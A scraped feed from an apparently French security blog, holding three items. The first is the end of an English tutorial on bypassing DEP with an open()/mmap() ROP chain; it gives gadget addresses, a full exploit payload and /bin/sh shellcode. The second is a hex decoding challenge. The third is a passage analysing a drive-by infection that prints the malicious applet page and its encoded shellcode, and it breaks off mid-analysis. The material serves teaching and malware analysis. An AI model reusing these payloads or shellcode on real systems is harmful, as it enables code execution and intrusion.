<p><img class="alignnone" title="Open call" src="http://attackvector.free.fr/homeo/defeatingDEP/images/ROP_OpenCall.png" alt="" width="596" height="357" /></p>
<p style="text-align: justify;">As the world is wonderful, obviously it works! Actually, the “eax” register contains the file descriptor value.</p>
<h3><strong>3.2) Step 2 &#8211; Craft mmap() parameters into the stack with ROP gadgets</strong></h3>
<p style="text-align: justify;"><!-- p { margin-bottom: 0.21cm; } --><span style="color: #000000;">This is</span><span style="color: #000000;"> </span><span style="color: #000000;">probably</span><span style="color: #000000;"> </span><span style="color: #000000;">the</span><span style="color: #000000;"> </span><span style="color: #000000;">most difficult step where only your creative mind could lead you in a successful exploitation. </span></p>
<p style="text-align: justify;"><span style="color: #000000;">Note: You could do it wrong</span><span style="color: #000000;">, on this case, research meticulously up to reach interesting results</span><span style="color: #000000;">. </span></p>
<p style="text-align: justify;">This step  requires to use gadgets because most of mmap() parameters must be initialized with NULL bytes values. For illustrating that, the stack with mmap() parameters will look like this:</p>
<p><img class="alignnone" title="mmap_stack_view" src="http://attackvector.free.fr/homeo/defeatingDEP/images/mmap_stack_view.png" alt="" width="234" height="236" /></p>
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p><!-- p { margin-bottom: 0.21cm; } --></p>
<p style="text-align: justify;"><span style="color: #000000;">We could be surprised to see a one byte length for mapping the specified file. While we allocate an area into the virtual memory, the allocation is done by page size  of a 4096 bytes length on a 32 bit system. So, we don&#8217;t need to calculate our shellcode size and it will be easier to push a 0&#215;01 value than a 0&#215;106 value.</span></p>
<p style="text-align: justify;"><span style="color: #000000;">Here is a list of some potential useful gadgets. So, we turned towards the use of “ropeme-bhus10” tool (a powerful script designed to search plenty of interesting gadgets). </span></p>
<p style="text-align: justify;"><span style="color: #000000;">As it was previously said, this PoC was based on libc for finding  gadgets , the results decided to be kept are the following:</span></p>
<pre> 0x5af69L: mov edx 0xffffffff ;;           // =&gt; 0xB7EDCF69
 0x3734L: inc edx ;;                       // =&gt; 0xB7E85734
 0xe4167L: pop ecx ; pop ebx ;;            // =&gt; 0xB7F66167
 0xa263aL: inc ecx ; or [esi+0x5d] bl ;;   // =&gt; 0xB7F2463A
 0x76e13L: add ecx ebp ;;                  // =&gt; 0xB7EF8E13
 0xd1e7aL: mov [ecx+0x4] edx ; pop ebp ;;  // =&gt; 0xB7F53E7A
 0xfb6eaL: mov [ecx+0x8] eax ; pop ebp ;;  // =&gt; 0xB7F7D6EA
 0x5d7f5L: mov [ecx] edx ; pop ebp ;;      // =&gt; 0xB7EDF7F5
 0x5f377L: mov edx eax ; mov eax edx ;;    // =&gt; 0xB7EE1377
 0xe401bL: call eax ; pop ebx ; pop ebp ;; // =&gt; B7F6601B</pre>
<p style="text-align: justify;">We get an offset, it will be necessary to add this value with the “libc” image base. Ldd command can provide us this address:</p>
<pre style="text-align: justify;">$ ldd ropmap
 linux-gate.so.1 =&gt;  (0xb7fe3000)
 libc.so.6 =&gt; /lib/tls/i686/cmov/libc.so.6 (0xb7e82000)
 /lib/ld-linux.so.2 (0xb7fe4000)</pre>
<p style="text-align: justify;">We also search for a « leave/ret » instruction  selected on the binary file.</p>
<pre style="text-align: justify;"> 0x8048312L: leave ;;</pre>
<p><!-- p { margin-bottom: 0.21cm; } --></p>
<p>Now we will see step by step how to arrange the gadgets for crafting each parameter. However an issue occurs, I don&#8217;t know the stack address where the mmap() parameters could be stored because the number of gadgets address is currently unknown. Now we take a realistic address (for example 0xbffff4b0) and we will try to fix it later.</p>
<p>If we keep an eye on the buffer overflow skeleton, particularly while the open() function is executed, it returns on a “leave/ret” instruction which will load esp with the new “ebp” value. Then ebp takes the new fake “ebp” to point on the first mmap() argument. Finally the first instruction of ROP gadget will be executed.</p>
<p>We will now see how to craft our mmap() parameters.</p>
<p><strong><em>3.2.1) ROP chaining for crafting the first argument to 0</em></strong></p>
<p style="text-align: justify;">Status registers once open() returned:</p>
<p style="text-align: justify;"><img class="alignnone" title="ROP_arg1" src="http://attackvector.free.fr/homeo/defeatingDEP/images/ROP_arg1.png" alt="" width="572" height="235" /></p>
<p style="text-align: justify;"><!-- p { margin-bottom: 0.21cm; } --></p>
<p style="text-align: justify;">One of the most important point for crafting parameters is to locate gadgets which allow us to write into the stack.</p>
<p style="text-align: justify;">If we look to our selected gadgets list, we can notice instructions to save a value register towards the address pointed by ecx.</p>
<pre style="text-align: justify;"> mov [ecx+0x4] edx ; pop ebp ;;
 mov [ecx+0x8] eax ; pop ebp ;;
 mov [ecx] edx ; pop ebp ;;</pre>
<p style="text-align: justify;"><!-- p { margin-bottom: 0.21cm; } --></p>
<p style="text-align: justify;">So  we could beneficiate of these instructions for setting the stack as we  want. Consequently, ecx register should point towards addresses where  parameters will be stored.</p>
<p style="text-align: justify;">Because  we don&#8217;t found gadgets who allow us to put 0 into edx register, we  thought about a tip for overcoming this issue. This one relies on  integer overflow. Actually, if we add 1 to 0xffffffff value, the result  should be 0&#215;100000000 but it will be truncated to 0&#215;00000000 due to  integer size.</p>
<p style="text-align: justify;">Moreover  we must also put 0 into ecx register. I do not have again a gadget to  realize easily this operation. So if we put 0xffffffff on the stack ,we  would be able to initialize ecx thanks to a “pop ecx” instruction. As  previously we increment the ecx register for getting a zero value.</p>
<p style="text-align: justify;">Below the ROP gadget chaining gives us the following asm code:</p>
<pre> mov edx 0xffffffff ;;
 inc edx ;;                      // edx equals 0
 pop ecx ; pop ebx ;;            // ecx pops the 0xffffffff value on the stack
 inc ecx ; or [esi+0x5d] bl ;;   // ecx = 0xffffffff + 1 = 0
 add ecx ebp ;;                  // ecx is initialized with ebp value
 mov [ecx] edx ; pop ebp ;;</pre>
<p style="text-align: justify;">And we obtain the following ROP exploit on the stack:</p>
<pre> 128*"A"
 0xbffff470         // fake ebp
 0xb7f48b10         // @open
 0x08048312         // leave/ret
 0xbffffd25         // filename "default"
 0x02020202         // Access mode
 0x bffff4b0        // Base address to store mmap registers
 0xb7edcf69         // mov edx 0xffffffff ;;
 0xb7e85734         // inc edx ;;
 0xb7f66167         // pop ecx ; pop ebx ;;
 0xffffffff
 "BBBB"
 0xb7f2463a         // inc ecx ; or [esi+0x5d] bl ;;
 0xb7ef8e13         // add ecx ebp ;;
 0xb7edf7f5         // mov [ecx] edx ; pop ebp ;;
 "BBBB"             // save EBP
 "AAAA"             // EIP</pre>
<p><strong><em>3.2.2) ROP chaining for crafting the second and the fourth argument to 1</em></strong></p>
<p style="text-align: justify;">Status registers once the first mmap() argument is crafted:</p>
<p><img class="alignnone" title="ROP_arg2_arg4" src="http://attackvector.free.fr/homeo/defeatingDEP/images/ROP_arg2_arg4.png" alt="" width="575" height="234" /></p>
<p><!-- p { margin-bottom: 0.21cm; } --></p>
<p style="text-align: justify;">Now,  we have to set the size to 1, so we need to increment edx just one time  and ecx four times so as to point on the right address.</p>
<p style="text-align: justify;">Below the ROP gadget chaining gives us the following asm code:</p>
<pre> inc edx ;; /* edx = 1 */
 inc ecx ; or [esi+0x5d] bl ;;
 inc ecx ; or [esi+0x5d] bl ;;
 inc ecx ; or [esi+0x5d] bl ;;
 inc ecx ; or [esi+0x5d] bl ;;
 mov [ecx] edx ; pop ebp ;;
 mov [ecx+0x8] edx ; pop ebx ; pop ebp ;;</pre>
<p style="text-align: justify;">Instead of “AAAA” EIP value on the previous ROP exploit, we add the following instructions set:</p>
<pre> 0xb7e85734        // inc edx ;;
 0xb7f2463a        // inc ecx ; or [esi+0x5d] bl ;;
 0xb7f2463a
 0xb7f2463a
 0xb7f2463a
 0xb7edf7f5        // mov [ecx] edx ; pop ebp ;;
 0xb7fff4b0
 0xb7f50161        // mov [ecx+0x8] edx ; pop ebx ; pop ebp ;;
 "BBBB"
 0xb7fff4b0        // save EBP
 "AAAA"            // EIP</pre>
<p><strong><em><br />
</em></strong></p>
<p><strong><em>3.2.3) ROP chaining for crafting the third argument to 4</em></strong></p>
<p style="text-align: justify;">Status registers once the second and the fourth mmap() arguments have been crafted:</p>
<p style="text-align: justify;"><img class="alignnone" title="ROP_arg3" src="http://attackvector.free.fr/homeo/defeatingDEP/images/ROP_arg3.png" alt="" width="582" height="259" /></p>
<p style="text-align: justify;">For this fourth parameter, we have to put 0&#215;04 value instead of 0xbffff4bc value.</p>
<p style="text-align: justify;">Below the ROP gadget chaining gives us the following asm code:</p>
<pre> 0x3734L: inc edx ;; /* edx = 1 */
 0x3734L: inc edx ;;
 0x3734L: inc edx ;;
 0xa263aL: inc ecx ; or [esi+0x5d] bl ;;
 0xa263aL: inc ecx ; or [esi+0x5d] bl ;;
 0xa263aL: inc ecx ; or [esi+0x5d] bl ;;
 0xa263aL: inc ecx ; or [esi+0x5d] bl ;;
 0x5d7f5L: mov [ecx] edx ; pop ebp ;;</pre>
<p style="text-align: justify;">Instead of “AAAA” EIP value on the previous ROP exploit, we add the following instructions set:</p>
<pre> 0xb7e85734        // inc edx ;;
 0xb7e85734
 0xb7e85734
 0xb7f2463a        // inc ecx ; or [esi+0x5d] bl ;;
 0xb7f2463a
 0xb7f2463a
 0xb7f2463a
 0xb7edf7f5        // mov [ecx] edx ; pop ebp ;;
 0xb7fff4b0        // save EBP "\xb0\xf4\xff\xbf"
 "AAAA"            // EIP</pre>
<p><em><strong>3.2.4) ROP chaining for crafting the fifth argument to “fd” value (file descriptor)</strong></em></p>
<p style="text-align: justify;">Status registers once the third mmap() argument has been crafted:</p>
<p><img class="alignnone" title="ROP_arg5" src="http://attackvector.free.fr/homeo/defeatingDEP/images/ROP_arg5.png" alt="" width="583" height="259" /></p>
<p>The purpose consists to put the file descriptor stored in “eax” register into “edx” register and to use  the appropriated gadget for writing this value in memory.</p>
<p>Below the ROP gadget chaining gives us the following asm code:</p>
<pre> 0x5f377L: mov edx eax ; mov eax edx ;;
 0xce161L: mov [ecx+0x8] edx ; pop ebx ; pop ebp ;;</pre>
<p style="text-align: justify;">Instead of “AAAA” EIP value on the previous ROP exploit, we add the following instructions set:</p>
<pre> 0xb7ee1377        // mov edx eax ; mov eax edx ;;
 0xb7f50161        // mov [ecx+0x8] edx ; pop ebx ; pop ebp ;;
 "BBBB"
 0xbffff4b0        // save EBP
 "AAAA"            // EIP</pre>
<p><strong><em>3.2.5) ROP chaining for crafting the sixth argument to 0</em></strong></p>
<p style="text-align: justify;">Status registers once the fifth mmap() argument has been crafted:</p>
<p><img class="alignnone" title="ROP_arg6" src="http://attackvector.free.fr/homeo/defeatingDEP/images/ROP_arg6.png" alt="" width="594" height="153" /></p>
<p style="text-align: justify;">Below the ROP gadget chaining gives us the following asm code:</p>
<pre> 0x5af69L: mov edx 0xffffffff ;;
 0x3734L: inc edx ;;
 0xa263aL: inc ecx ; or [esi+0x5d] bl ;;
 0xa263aL: inc ecx ; or [esi+0x5d] bl ;;
 0xa263aL: inc ecx ; or [esi+0x5d] bl ;;
 0xa263aL: inc ecx ; or [esi+0x5d] bl ;;
 0xce161L: mov [ecx+0x8] edx ; pop ebx ; pop ebp ;;</pre>
<p style="text-align: justify;">Instead of “AAAA” EIP value on the previous ROP exploit, we add the following instructions set:</p>
<pre style="text-align: justify;"> 0xb7edcf69        // mov edx 0xffffffff ;;
 0xb7e85734        // inc edx ;;
 0xb7f2463a        // inc ecx ; or [esi+0x5d] bl ;;
 0xb7f2463a
 0xb7f2463a
 0xb7f2463a
 0xb7f50161        //mov [ecx+0x8] edx ; pop ebx ; pop ebp ;;
 "BBBB"
 0xbffff4b0        // save EBP
 "AAAA"            // EIP</pre>
<h3>3.3) Step 3 – Call mmap() and jump on the mapped area</h3>
<p><!-- p { margin-bottom: 0.21cm; } --></p>
<p><!-- p { margin-bottom: 0.21cm; } --></p>
<p style="text-align: justify;">We should set the mmap() address instead of “AAAA” EIP value on the previous ROP exploit with 0xb76a1ab0 value. But, we also need to modify our previous base address to store mmap() parameters (0xbffff4b0). Actually, we know the ROP exploit size and on my side, the new value is 0xbffff4a0. It will then replace this value everywhere in our exploit.</p>
<p style="text-align: justify;">At this point, we have crafted all mmap() parameters. As previously with the open() function, it is safer to check if the second step of our exploit building is functional. We are going to watch the return value of mmap() function call and if nothing happen, we should get a pointer from the mapped area into “eax” register, otherwise -1.</p>
<p><img class="alignnone" title="ROP_after_mmap" src="http://attackvector.free.fr/homeo/defeatingDEP/images/ROP_after_mmap.png" alt="" width="599" height="144" /></p>
<p><!-- p { margin-bottom: 0.21cm; } --></p>
<p style="text-align: justify;"><span style="color: #000000;">On the bag it works again! Actually, the “eax” register contains our base address of mapped area. As written « Put your shellcode here!!! » in the local file, we retrieve it on this base address.</span></p>
<p style="text-align: justify;">Finally, It only remains to jump on our mapped area with a « call eax » instruction. We can find it at the 0xb7f6601b address.</p>
<p style="text-align: justify;">Our final ROP exploit will look like this:</p>
<address> r `python -c &#8216;print 128*&#8221;A&#8221; + &#8220;\xf0\xf3\xff\xbf&#8221; + &#8220;\x10\x8b\xf4\xb7&#8243; + &#8220;\x12\x83\x04\x08&#8243; + &#8220;\x25\xfd\xff\xbf&#8221; + &#8220;\x02\x10\x02\x10&#8243; + &#8220;\xa0\xf4\xff\xbf&#8221; + &#8220;\x69\xcf\xed\xb7&#8243; + &#8220;\x34\x57\xe8\xb7&#8243; + &#8220;\x67\x61\xf6\xb7&#8243; + &#8220;\xff\xff\xff\xff&#8221; + &#8220;BBBB&#8221; + &#8220;\x3a\x46\xf2\xb7&#8243; + &#8220;\x13\x8e\xef\xb7&#8243; + &#8220;\xf5\xf7\xed\xb7&#8243; + &#8220;\xa0\xf4\xff\xbf&#8221; + &#8220;\x34\x57\xe8\xb7&#8243; + &#8220;\x3a\x46\xf2\xb7&#8243; + &#8220;\x3a\x46\xf2\xb7&#8243; + &#8220;\x3a\x46\xf2\xb7&#8243; + &#8220;\x3a\x46\xf2\xb7&#8243; + &#8220;\xf5\xf7\xed\xb7&#8243; + &#8220;\xa0\xf4\xff\xbf&#8221; + &#8220;\x61\x01\xf5\xb7&#8243; + &#8220;BBBB&#8221; + &#8220;\xa0\xf4\xff\xbf&#8221; + &#8220;\x34\x57\xe8\xb7&#8243; + &#8220;\x34\x57\xe8\xb7&#8243; + &#8220;\x34\x57\xe8\xb7&#8243; + &#8220;\x3a\x46\xf2\xb7&#8243; + &#8220;\x3a\x46\xf2\xb7&#8243; + &#8220;\x3a\x46\xf2\xb7&#8243; + &#8220;\x3a\x46\xf2\xb7&#8243; + &#8220;\xf5\xf7\xed\xb7&#8243; + &#8220;\xa0\xf4\xff\xbf&#8221; + &#8220;\x77\x13\xee\xb7&#8243; + &#8220;\x61\x01\xf5\xb7&#8243; + &#8220;BBBB&#8221; + &#8220;\xa0\xf4\xff\xbf&#8221; + &#8220;\x69\xcf\xed\xb7&#8243; + &#8220;\x34\x57\xe8\xb7&#8243; + &#8220;\x3a\x46\xf2\xb7&#8243; + &#8220;\x3a\x46\xf2\xb7&#8243; + &#8220;\x3a\x46\xf2\xb7&#8243; + &#8220;\x3a\x46\xf2\xb7&#8243; + &#8220;\x61\x01\xf5\xb7&#8243; + &#8220;BBBB&#8221; + &#8220;\xa0\xf4\xff\xbf&#8221; + &#8220;\xb0\x5a\xf5\xb7&#8243; + &#8220;\x1b\x60\xf6\xb7&#8243;&#8216;`</address>
<p><!-- p { margin-bottom: 0.21cm; } --></p>
<p style="text-align: justify;">Before the exploit execution, we do not forget to fill the « default » file with our shellcode. <span style="color: #000000;">This is how to do :</span></p>
<address>echo `perl -e &#8216;print &#8220;\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80&#8243;&#8216;` &gt; default</address>
<address> </address>
<p style="text-align: justify;">Below, a screenshot under GDB showing the successful exploit. If we wish to make it functionnal in normal execution, you should modify some addresses on the stack. It is due to stack shifting when a program runs under GDB.</p>
<p><img class="alignnone" title="ROP_final_exploit_gdb" src="http://attackvector.free.fr/homeo/defeatingDEP/images/ROP_final_exploit_gdb.png" alt="" width="690" height="236" /></p>
<h2>4) Conclusion</h2>
<p><!-- p { margin-bottom: 0.21cm; } --></p>
<p style="text-align: justify;">Through this article, we have seen a local exploitation for defeating DEP. This one relies on open() and mmap() functions chaining. I described in details how to build an exploit based on ROP technique dedicated to craft parameters. The experimented difficulties and some tips to overcome them. It may probably exist other ways for a successful attack scenario (of course). Anyway, the purpose was to show you the ability to do it with a technical approach.</p>
<p style="text-align: justify;">For any questions or comments about this article content, you could join me to « trashomeo [at] gmail [dot] com ».</p>
<p style="text-align: justify;">Special thanks to p3lo for his rereading.</p>
<p>Have ROP!<br />
<em><strong>Homeostasie (Nicolas.D)</strong></em></p>
<p>Download this article in PDF format <a title="Defeating_DEP_through_a_mapped_file.pdf" href="http://attackvector.free.fr/homeo/defeatingDEP/Defeating_DEP_through_a_mapped_file.pdf">here</a>.</p>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow: hidden;">﻿</div>
]]></content:encoded>
			<wfw:commentRss>http://thehackability.securithib.com/?feed=rss2&#038;p=932</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>[analyse] Challenge : take a 0xC0FF33</title>
		<link>http://thehackability.securithib.com/?p=913</link>
		<comments>http://thehackability.securithib.com/?p=913#comments</comments>
		<pubDate>Sun, 31 Jul 2011 15:38:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Challenges]]></category>

		<guid isPermaLink="false">http://thehackability.securithib.com/?p=913</guid>
		<description><![CDATA[Challenge d&#8217;analyse : niveau : intermédiaire Connaissances requises : logique, décodage, programmation Le résultat est une chaîne de caractère numérique, postez votre réponse comme commentaire au blog. Bonne recherche. Indice 1: Al-Kindi Challenge (s&#8217;écrit en une seule ligne): 6661696c65642120e761206e276573742068e96c61732070617320656e 2074656e74616e742064652064e9636f64e9206365206d657373616765 2071756520766f75732061727269766572657a20612074726f7576e920 6c652072e973756c746174206465206365206368616c6c206469726563 74656d656e74206573736179657a20656e636f72652e20696e646963652 06e756d65726f2032203a203131]]></description>
			<content:encoded><![CDATA[<h2>Challenge d&#8217;analyse :</h2>
<p>niveau : intermédiaire<br />
Connaissances requises : logique, décodage, programmation</p>
<p>Le résultat est une chaîne de caractère numérique, postez votre réponse comme commentaire au blog.</p>
<p>Bonne recherche.</p>
<p><strong>Indice 1:</strong> Al-Kindi</p>
<h2>Challenge (s&#8217;écrit en une seule ligne):</h2>
<p>6661696c65642120e761206e276573742068e96c61732070617320656e</p>
<p>2074656e74616e742064652064e9636f64e9206365206d657373616765</p>
<p>2071756520766f75732061727269766572657a20612074726f7576e920</p>
<p>6c652072e973756c746174206465206365206368616c6c206469726563</p>
<p>74656d656e74206573736179657a20656e636f72652e20696e646963652</p>
<p>06e756d65726f2032203a203131</p>
]]></content:encoded>
			<wfw:commentRss>http://thehackability.securithib.com/?feed=rss2&#038;p=913</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cas d&#8217;infection via une navigation anonyme mais pas anodine</title>
		<link>http://thehackability.securithib.com/?p=878</link>
		<comments>http://thehackability.securithib.com/?p=878#comments</comments>
		<pubDate>Sat, 16 Jul 2011 15:49:11 +0000</pubDate>
		<dc:creator>Homeostasie</dc:creator>
				<category><![CDATA[Ethical hacking]]></category>
		<category><![CDATA[Reversing , Cracking, Forensic]]></category>

		<guid isPermaLink="false">http://thehackability.securithib.com/?p=878</guid>
		<description><![CDATA[par Homeostasie (Nicolas.D) Au cours de ce topic, je vais vous présenter un cas de navigation dangereuse qu&#8217;un internaute a rencontré, via l&#8217;utilisation d&#8217;un proxy anonyme, il y a maintenant quelques temps. Peu importe, le principe reste le même, seul l&#8217;exploit change. Ainsi, je présenterais dans un premier temps, de quelle manière il est possible [...]]]></description>
			<content:encoded><![CDATA[<p><strong><em>par Homeostasie (Nicolas.D)<br />
</em></strong></p>
<p style="text-align: justify;">Au cours de ce topic, je vais vous présenter un cas de navigation dangereuse qu&#8217;un internaute a rencontré, via l&#8217;utilisation d&#8217;un proxy anonyme, il y a maintenant quelques temps. Peu importe, le principe reste le même, seul l&#8217;exploit change.</p>
<p style="text-align: justify;">Ainsi, je présenterais dans un premier temps, de quelle manière il est possible d&#8217;être infecté et j&#8217;effectuerais ensuite une analyse détaillée de la charge malveillante.</p>
<p style="text-align: justify;">Pour résumer le contexte, moi-même et Thibaut.L faisions une analyse conjointe d&#8217;URLs douteuses. A contrario de moi, il utilisait un proxy anonyme pour effectuer  son investigation et il se rendit compte qu&#8217;une requête réseau supplémentaire avait lieu vers une autre site alors que de mon côté ce n&#8217;était pas le cas.</p>
<p style="text-align: justify;">Je décidai donc de m&#8217;attaquer à cet aspect.</p>
<p style="text-align: justify;">Dans un premier temps, l&#8217;utilisation de ce proxy anonyme rajoutait une redirection vers l&#8217;URL suivante: <a href="http://x.y.w.z/tube/index2.html">http://x.y.w.z</a><a href="http://95.168.185.196/tube/index2.html" target="_blank"></a><a href="http://x.y.w.z/tube/index2.html">/tube/index2.html</a>&#8220;.</p>
<p style="text-align: justify;">Une fois redirigé sur ce lien, une requête GET était à nouveau faite vers l&#8217;adresse 84.16.u.v, qui avait apparemment comme nom d&#8217;hôte &#8220;hithrove.com&#8221;.</p>
<p style="text-align: justify;">Ci-dessous la requête et la réponse:</p>
<p><span style="color: #0000ff;"><em>GET /june/news.php HTTP/1.1<br />
Host: hithrove.com<br />
Keep-Alive: 300<br />
Connection: keep-alive<br />
Referer: http://x.y.w.z</em></span><span style="color: #0000ff;"><em>/tube/index2.html</em></span></p>
<p><em><span style="color: #0000ff;">HTTP/1.1 200 OK<br />
Date: Sun, 28 Mar 2010 15:38:13 GMT<br />
Server: Apache/2.2.3 (CentOS)<br />
X-Powered-By: PHP/5.2.13<br />
Content-Length: 1230<br />
Connection: close<br />
Content-Type: text/html; charset=UTF-8</span></em></p>
<p><span style="color: #0000ff;"><em>&lt;!&#8211; With comprehensive cover we could keep you moving with a courtesy car &#8211;&gt;<br />
&lt;applet width=&#8217;100%&#8217; height=&#8217;100%&#8217; code=&#8217;A.class&#8217; archive=&#8217;/june/A.php&#8217;&gt;<br />
&lt;!&#8211; The company has created an excellent website which incorporates all that is good about online business, offering an instant quote and the opportunity to arrange cover within minutes. &#8211;&gt;<br />
&lt;param name=&#8217;sc&#8217; value=&#8217;eb1f92969790975b9296929633c966b94e019097803 31492964392e2f79292eb05e8e1ffffff84848484848484848 484fc14141414ff14fde81414144b70b5241414146c189f541 89f6408b99f7c1cff1d9f54209954689f7c289fe37e104dfc9 b141414f6ed7c7b7a14147c6166787940eb029ffcfc6d14141 49fc353942b1461ee534353942b1461ee9ffb4b27dd95f8101 514149fc84546477c10151414eb42184e4d45469f164757942 f1461ee956fe83a716c71611797ff1c9d17d357103a716c71d 2571c144f9ed510249c511427d44444474344eb420497ec146 1127e1547eb42104e4d97d61055942e1461a0eb421c45429f6 1289f603a6c17e1429f623417e127dd5d55b917d127cf1baa0 42ec2601cd5df1917ce54ffe52f0b61f34a9f4a3017c9729f1 85f9f4a0817c99f109f17d1bf4a4dd7fcebeaebeb9a5a1af88 cea9e1a6accf66727de9e4f220e3b645e5b625a147c6060642 e3b3b7c7d607c667b62713a777b793b7e617a713b21242d2c2 4&#8242; /&gt;</em></span></p>
<p><span style="color: #0000ff;"><em>&lt;!&#8211; Get a Quote and Save Online &#8211;&gt;<br />
&lt;param name=&#8217;np&#8217; value=&#8217;90909090&#8242; /&gt;<br />
&lt;/applet&gt; </em></span><em> </em></p>
<p style="text-align: justify;">Oh, quesako, on dirait bien que le champ value, paramètre de l&#8217;applet, contient un shellcode au vu de cette suite d&#8217;octets.</p>
<p style="text-align: justify;">Bien je crois que le chemin est tracé, lançons nous dans du reverse engineering pour comprendre l&#8217;objectif de ce shellcode.<br />
Tout d&#8217;abord, je le rends exploitable sous forme de chaîne de caractère en C pour pouvoir le débugger:</p>
<pre>char shellcode[] = 
"\xeb\x1f\x92\x96\x97\x90\x97\x5b\x92\x96\x92\x96\x33\xc9\x66\xb9\x4e\x01\x90\x97"
"\x80\x33\x14\x92\x96\x43\x92\xe2\xf7\x92\x92\xeb\x05\xe8\xe1\xff\xff\xff\x84\x84"
"\x84\x84\x84\x84\x84\x84\x84\x84\xfc\x14\x14\x14\x14\xff\x14\xfd\xe8\x14\x14\x14"
"\x4b\x70\xb5\x24\x14\x14\x14\x6c\x18\x9f\x54\x18\x9f\x64\x08\xb9\x9f\x7c\x1c\xff"
"\x1d\x9f\x54\x20\x99\x54\x68\x9f\x7c\x28\x9f\xe3\x7e\x10\x4d\xfc\x9b\x14\x14\x14"
"\xf6\xed\x7c\x7b\x7a\x14\x14\x7c\x61\x66\x78\x79\x40\xeb\x02\x9f\xfc\xfc\x6d\x14"
"\x14\x14\x9f\xc3\x53\x94\x2b\x14\x61\xee\x53\x43\x53\x94\x2b\x14\x61\xee\x9f\xfb"
"\x4b\x27\xdd\x95\xf8\x10\x15\x14\x14\x9f\xc8\x45\x46\x47\x7c\x10\x15\x14\x14\xeb"
"\x42\x18\x4e\x4d\x45\x46\x9f\x16\x47\x57\x94\x2f\x14\x61\xee\x95\x6f\xe8\x3a\x71"
"\x6c\x71\x61\x17\x97\xff\x1c\x9d\x17\xd3\x57\x10\x3a\x71\x6c\x71\xd2\x57\x1c\x14"
"\x4f\x9e\xd5\x10\x24\x9c\x51\x14\x27\xd4\x44\x44\x47\x43\x44\xeb\x42\x04\x97\xec"
"\x14\x61\x12\x7e\x15\x47\xeb\x42\x10\x4e\x4d\x97\xd6\x10\x55\x94\x2e\x14\x61\xa0"
"\xeb\x42\x1c\x45\x42\x9f\x61\x28\x9f\x60\x3a\x6c\x17\xe1\x42\x9f\x62\x34\x17\xe1"
"\x27\xdd\x5d\x55\xb9\x17\xd1\x27\xcf\x1b\xaa\x04\x2e\xc2\x60\x1c\xd5\xdf\x19\x17"
"\xce\x54\xff\xe5\x2f\x0b\x61\xf3\x4a\x9f\x4a\x30\x17\xc9\x72\x9f\x18\x5f\x9f\x4a"
"\x08\x17\xc9\x9f\x10\x9f\x17\xd1\xbf\x4a\x4d\xd7\xfc\xeb\xea\xeb\xeb\x9a\x5a\x1a"
"\xf8\x8c\xea\x9e\x1a\x6a\xcc\xf6\x67\x27\xde\x9e\x4f\x22\x0e\x3b\x64\x5e\x5b\x62"
 "\x5a\x14\x7c\x60\x60\x64\x2e\x3b\x3b\x7c\x7d\x60\x7c\x66\x7b\x62\x71\x3a\x77\x7b"
"\x79\x3b\x7e\x61\x7a\x71\x3b\x21\x24\x2d\x2c\x24";</pre>
<p style="text-align: justify;">Le code commence par un jump suivi directement d&#8217;un call. Ce call implique la sauvegarde du registre EIP sur la pile. Ainsi donc, un POP EBX est directement réalisé en début de cette fonction afin de récupérer l&#8217;adresse de retour. De cette manière, le shellcode récupère l&#8217;emplacement à partir duquel il sera censé déchiffrer le code.</p>
<p style="text-align: justify;">Plusieurs inversement de registres sucessifs avec XCHG sont réalisés, peut être pour bypasser des analyses ou pour « obfusquer » le code.<br />
Ensuite, on constate que le shellcode est chiffré grâce à un XOR avec la valeur 0&#215;14. Une boucle est donc réalisé pour le déchiffrer avant de l&#8217;exécuter.<br />
La taille de ce shellcode est contenu dans le registre ECX est à pour valeur 0x14E.</p>
<div class="wp-caption aligncenter" style="width: 568px"><img class=" " title="Shellcode avant déchiffrement" src="http://attackvector.free.fr/homeo/proxyinfection/images/shellcode_chiffre.jpeg" alt="" width="558" height="409" /><p class="wp-caption-text">Shellcode avant déchiffrement</p></div>
<div class="wp-caption aligncenter" style="width: 551px"><img title="Shellcode après déchiffrement" src="http://attackvector.free.fr/homeo/proxyinfection/images/shellcode_dechiffre.jpeg" alt="" width="541" height="457" /><p class="wp-caption-text">Shellcode après déchiffrement</p></div>
<p style="text-align: justify;">Une fois déchiffré, un jump sur l&#8217;adrese de retour est réalisé, on tombe ainsi sur une série de NOP jusqu&#8217;à faire un CALL sur l&#8217;instruction suivante et entamer la récupération de l&#8217;adresse du module kernel32.dll via le PEB pour obtenir dynamiquement les APIs nécessaires pour la suite de l&#8217;exécution:</p>
<p style="text-align: center;">
<div class="wp-caption aligncenter" style="width: 555px"><img class=" " title="Récupération du PEB" src="http://attackvector.free.fr/homeo/proxyinfection/images/Recup_PEB.jpeg" alt="" width="545" height="478" /><p class="wp-caption-text">Récupération du PEB</p></div>
<p style="text-align: left;">
<p style="text-align: justify;">Dans le code original:<br />
- On voit la présence de la ligne JS SHORT 00402051 qui signifie qu&#8217;un jump sera effectué si le flag S est à 1, ce qui n&#8217;est pas le cas et doit être à mon avis une technique d&#8217;obfuscation de code.<br />
- EBP contient l&#8217;adresse du module kernel32.dll</p>
<p style="text-align: justify;">Ensuite, il est nécessaire de récupérer les adresses des fonctions qui seront utilisées.<br />
Ici, une technique d&#8217;obfuscation est utilisée pour cacher le nom des APIs utilisées. Le shellcode contient à la place un hash de l&#8217;API à utiliser. Il se doit donc de retrouver l&#8217;adresse de l&#8217;API en fonction de ce hash.<br />
Pour cela, il va parcourir tout les noms des APIs exportées par kernel32. pour chaque nom, il en faira un hash sur 4 octets. Puis il comparera la valeur obtenue avec celle prévue. Si la comparaison est ok, il récupérera l&#8217;adresse de l&#8217;API en question pour la stocker à la place du hash. Nice! ;-)</p>
<p style="text-align: left;">
